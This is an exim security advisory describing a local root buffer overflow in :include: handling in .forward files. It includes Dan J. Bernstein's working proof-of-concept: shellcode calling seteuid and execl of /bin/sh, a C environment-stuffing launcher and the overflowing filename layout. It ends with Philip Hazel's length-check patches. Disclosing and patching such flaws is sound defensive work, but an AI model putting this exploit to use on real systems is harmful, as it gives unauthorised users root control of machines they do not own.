COMMAND

    exim

SYSTEMS AFFECTED

    Systems running exim

PROBLEM

    The latest  released version  of exim  lets any  local user obtain
    a root  shell.   Exim checks  for :include:  in .forward  files at
    line 1031 of exim/parse.c. At line 1034 it defines a buffer of 256
    characters. It copies the  :include: filename into the  buffer. If
    the first  character of  the filename  is not  a slash, it returns
    immediately.  Latest version is 1.651 (at moment of writing this).

    Exploit should be to run exim -bt you@your.host, with  appropriate
    code in  the environment,  with an  appropriate :include: filename
    in ~/.forward.  Credit goes to Dan J. Bernstein.

    For example,  under BSD/OS,  Dan set  up the  environment with the
    attached program. He  set up the  filename as 260  z's followed by
    0xdd, 0xdd, 0xbf, 0xef. The  address 0xefbfdddd was in the  middle
    of the  environment in  the exim  process. If  he hadn't known the
    frame  structure  he  would  have  repeated  the  address  at more
    locations in the :include: filename.

    The  asm  code  below  cuts  several  corners.  Since Dan knew the
    addresses  of  seteuid()  and  execl()  inside the exim binary, he
    didn't  bother  writing  his  own  library-independent   syscalls.
    Conveniently enough, "/bin/sh"  is also in  the exim binary  (from
    the pipe transport).  He also didn't  bother eliminating 0's  from
    the asm;  he put  the 0's  into the  environment by spreading data
    across several environ entries.

    /* sample code for one OS/compiler combination; ./this ./exim -bt you */

    char code[] = {
      0x31,0xc0 /* eax = 0 */
    , 0x50 /* push eax */
    , 0xbb,0x98,0x30,0x04,0x00 /* ebx = 0x43098; &seteuid in my copy of exim */
    , 0xff,0xd3 /* call ebx */
    , 0x31,0xc0
    , 0x50
    , 0xb8,0x9a,0xd1,0x03,0x00 /* eax = 0x3d19a; &"/bin/sh" in my copy of exim */
    , 0x50
    , 0x50
    , 0xbb,0xf8,0x29,0x04,0x00 /* ebx = 0x429f8; &execl in my copy of exim */
    , 0xff,0xd3
    , 0x00 /* just to terminate the last string in the environment */
    } ;

    char buf[1000];
    char *env[1001];

    void main(argc,argv)
    int argc;
    char **argv;
    {
      int i;
      int j;

      for (i = 0;i < sizeof buf;++i) buf[i] = 0x90; /* nop */
      memcpy(buf + sizeof buf - sizeof code,code,sizeof code);

      j = 0;
      env[0] = buf;
      for (i = 0;i < sizeof buf;++i) if (!buf[i]) env[++j] = buf + i + 1; env[j] = 0;

      if (argv[1]) execve(argv[1],argv + 1,env);
      exit(1);
    }

SOLUTION

    Here is a  patch developed by  Philip Hazel.   It is for  versions
    1.62 and 1.651:

    ---snip-----------------------------------------------------------
    *** exim-1.62/src/parse.c   Wed Apr 16 14:34:49 1997
    --- parse.c      Tue Jul 22 09:41:50 1997
    ***************
    *** 1037,1042 ****
    --- 1037,1048 ----
	  int extracted;
	  FILE *f;

    +     if (len-9 > 255)
    +       {
    +       *error = "included file name is too long";
    +       return -1;
    +       }
    +
	  strncpy(filename, s+9, len-9);
	  filename[len-9] = 0;

    ---snip-----------------------------------------------------------

    *** exim-1.651/src/parse.c  Fri Jul  4 16:33:56 1997
    --- parse.c     Tue Jul 22 09:31:54 1997
    ***************
    *** 1056,1061 ****
    --- 1056,1067 ----
	    *error = string_sprintf("file name missing after :include:");
	    return -1;
	    }
    +
    +     if (flen > 255)
    +       {
    +       *error = string_sprintf("included file name \"%s\" is too long", t);
    +       return -1;
    +       }

	  strncpy(filename, t, flen);
	  filename[flen] = 0;

    ---snip-----------------------------------------------------------